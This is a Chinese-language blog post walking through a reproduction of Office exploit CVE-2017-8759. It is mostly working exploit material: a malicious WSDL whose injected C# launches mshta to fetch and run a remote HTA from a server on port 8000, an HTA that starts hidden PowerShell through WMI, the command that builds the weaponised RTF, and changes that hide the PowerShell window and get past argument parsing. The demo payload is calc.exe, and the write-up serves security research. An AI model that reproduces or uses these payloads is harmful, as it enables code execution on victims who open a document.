Office CVE-2017-8759 复现

漏洞原理移步 安全客.

环境 Windows7, Office 2010.

复现过程

bhdresh/CVE-2017-8759

搭建服务器, 创建 exploit.txt 并更改 URL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<definitions
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:suds="http://www.w3.org/2000/wsdl/suds"
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta"/>
<soap:address location=";
    if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
    } //"/>
</port>
</service>
</definitions> 

同目录下创建 cmd.hta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script language="VBScript">
Sub window_onload
	const impersonation = 3
	Const HIDDEN_WINDOW = 12
	Set Locator = CreateObject("WbemScripting.SWbemLocator")
	Set Service = Locator.ConnectServer()
	Service.Security_.ImpersonationLevel=impersonation
	Set objStartup = Service.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	Set Process = Service.Get("Win32_Process")
	Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID)
	window.close()
end sub
</script>
</head>
</html>

生成文档.

1
cve-2017-8759_toolkit.py -M gen -w test.rtf -u http://192.168.1.1:8000/exploit.txt

打开文档.

复现成功, 命令只执行了一次, 但这里会先闪一下 hta 的窗口.

最开始复现的时候我有两个问题: 1. 为什么要通过 hta 执行 2. 为什么不能直接在 exploit.txt 中一次执行成功而非要用 hta.

改进载荷

关于第一个问题, 请看代码.

1
2
3
4
5
6
<soap:address location="http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta"/>
<soap:address location=";
    if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
    } //"/>

拼接在源文件中是这样的.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
......
public Image()
{
    base.ConfigureProxy(this.GetType(), @"http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta");
    //base.ConfigureProxy(this.GetType(),@";
    if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
    } //");
}
......

原理中也提到了, 这是 .Net 一处拼接错误而导致的代码执行漏洞, 也就是说理论上我们能够执行任意代码.

而 xml 中的 location, 通过 ? 被分割成三个部分, 然后提取第二部分作为执行文件, 第三部分作为命令参数.

所以这个其实跟空格没有半点关系, 完全就是为了方便通过 ? 截取到命令和参数两个部分, 而第一个部分只是针对 .Net 的验证罢了, 只要符合 URL 规范就行. 之所以在这里要费劲心思截取 url 是因为 xml 语法的问题, 但 C# 的单引号只表示单个字符.

关于第二个问题, 为什么要通过 hta 执行?

如果说是针对低版本系统例如 2003, 那么其实还有很多种选择, 比如 regsvr32, regsvcs, 甚至你也可以直接通过下载 exe 来执行, 但这里访问的 hta 里执行的命令是 powershell, 那么为什么不直接一步到位呢?

前面说了, 这是代码执行漏洞, 理论上我们能够执行任意代码, 同样, 通过 Process.Start 启动的进程理论上也可以是任意文件, 比如.

1
<soap:address location="http://192.168.1.1?C:\Windows\System32\cmd.exe?/c calc.exe"/>

这样是能够执行成功的, 但如果换成 powershell 呢?

1
<soap:address location="http://192.168.1.1?C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?-c calc.exe"/>

执行失败了. 我们仔细想想这两行代码之间有什么区别, 前者的命令参数是 /c, 后者的命令参数是 -c.

推测是 - 这个字符导致命令执行不成功的, 下面就要引入一个新姿势了.

1
powershell.exe /c calc.exe

这是可以成功的, 适用于大部分参数.

加上一点其它东西, 那么代码就可以改成.

1
<soap:address location="http://192.168.1.1?C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?/ep bypass /noprofile /w hidden /c calc.exe"/>

执行成功. 不过你会发现 powershell 窗口还是会一闪而过, 即使我们指定了 /w hidden, 怎么办呢?

基于 C# 的特性, 我们可以通过 System.Diagnostics.Process.StartInfo 创建一个进程并将窗口设置为 hidden, 就像这样.

1
2
3
4
p.FileName = _url.Split('?')[1];
p.Arguments = _url.Split('?')[2];
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
System.Diagnostics.Process.Start(p);

重新打开文档, 将会自动弹出计算器而不是先显示一遍窗口 :)

一些话

在写下这篇文章的时候又测试了一遍, 发现 -c 其实是可以执行成功的, 但通过带宏文档复现的时候确实是执行失败了, 只能通过 /c 方式绕过, 不过使用宏这种方式利用已经是很鸡肋的了, 还有很多比这更简单的方法.

上文中原来的 Payload 其实就是将行为和特征分离, 不过过程对我来说也算是一种尝试吧.

另外对于 rtf 的其它细节在之前的文章中已经讲过, 就不再重复说明了.

0%